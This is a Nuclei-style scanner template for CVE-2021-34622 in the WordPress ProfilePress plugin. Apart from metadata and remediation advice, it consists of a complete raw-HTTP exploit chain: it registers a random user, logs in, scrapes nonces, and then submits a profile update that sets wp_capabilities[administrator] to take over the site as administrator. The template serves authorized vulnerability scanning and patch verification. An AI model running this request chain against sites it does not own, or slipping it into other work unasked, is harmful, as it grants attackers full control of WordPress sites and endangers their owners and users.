id: CVE-2021-34622 info: name: WordPress ProfilePress <= 3.1.3 - Privilege Escalation author: Sourabh-Sahu severity: critical description: | ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including `wp_capabilities`, during profile updates. This enables a user to escalate their privileges to administrator. impact: | Authenticated users can escalate their privileges to administrator by supplying arbitrary usermeta fields during profile updates, leading to complete WordPress site takeover. remediation: | Upgrade to ProfilePress version 3.1.4 or later. reference: - https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/ - https://nvd.nist.gov/vuln/detail/CVE-2021-34622 classification: cve-id: CVE-2021-34622 epss-score: 0.61563 epss-percentile: 0.98364 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cwe-id: CWE-269 cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 4 vendor: properfraction product: profilepress fofa-query: body="/wp-content/plugins/profilepress" tags: cve,cve2021,wordpress,wp-plugin,wp,profilepress,privilege-escalation,authenticated,intrusive,vkev,vuln variables: username: "user_{{to_lower(rand_base(5))}}" password: "pass_{{rand_base(8)}}" email: "{{randstr}}@{{rand_base(5)}}.com" firstname: "{{rand_base(5)}}" lastname: "{{rand_base(5)}}" boundary: "WebKitFormBoundarypRyCNwmSkLdfNd7E" http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary={{boundary}} Accept-Encoding: gzip --{{boundary}} Content-Disposition: form-data; name="reg_username" {{username}} --{{boundary}} Content-Disposition: form-data; name="reg_email" {{email}} --{{boundary}} Content-Disposition: form-data; name="reg_password" {{password}} --{{boundary}} Content-Disposition: form-data; name="reg_password_present" true --{{boundary}} Content-Disposition: form-data; name="reg_first_name" {{firstname}} --{{boundary}} Content-Disposition: form-data; name="reg_last_name" {{lastname}} --{{boundary}} Content-Disposition: form-data; name="action" pp_ajax_signup --{{boundary}}-- - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=pp_ajax_login&data=login_username%3D{{username}}%26login_password%3D{{password}}%26login_form_id%3D1 - raw: - | GET /account/edit-profile/ HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: wpnonce group: 1 regex: - 'name="_wpnonce"\s+value="([^"]+)"' - "name='_wpnonce'\\s+value='([^']+)'" internal: true - type: regex name: nonce group: 1 regex: - '"nonce"\s*:\s*"([^"]+)"' - 'pp_ajax_form\s*=\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary={{boundary}} Accept-Encoding: gzip --{{boundary}} Content-Disposition: form-data; name="reg_username" {{username}} --{{boundary}} Content-Disposition: form-data; name="eup_email" {{email}} --{{boundary}} Content-Disposition: form-data; name="eup_first_name" {{firstname}} --{{boundary}} Content-Disposition: form-data; name="eup_last_name" {{lastname}} --{{boundary}} Content-Disposition: form-data; name="eup_display_name" {{firstname}} {{lastname}} --{{boundary}} Content-Disposition: form-data; name="_wpnonce" {{wpnonce}} --{{boundary}} Content-Disposition: form-data; name="nonce" {{nonce}} --{{boundary}} Content-Disposition: form-data; name="ppmyac_form_action" updateProfile --{{boundary}} Content-Disposition: form-data; name="action" pp_ajax_editprofile --{{boundary}} Content-Disposition: form-data; name="is_melange" true --{{boundary}} Content-Disposition: form-data; name="wp_capabilities[administrator]" 1 --{{boundary}}-- matchers-condition: and matchers: - type: word part: body words: - 'success":true' - 'Account was updated successfully' condition: or - type: status status: - 200 extractors: - type: dsl dsl: - 'email' - 'username' - 'password' # digest: 4b0a00483046022100efb314418c06dabb04272a54e006b4171a478da009e3cfb4cdbec6dc90d83d2c022100a5847df7a01f281098bf428eeb5921ad19ae7ee9358fe7c4db6f3dd096d94dd5:922c64590222798bb761d5b6d8e72950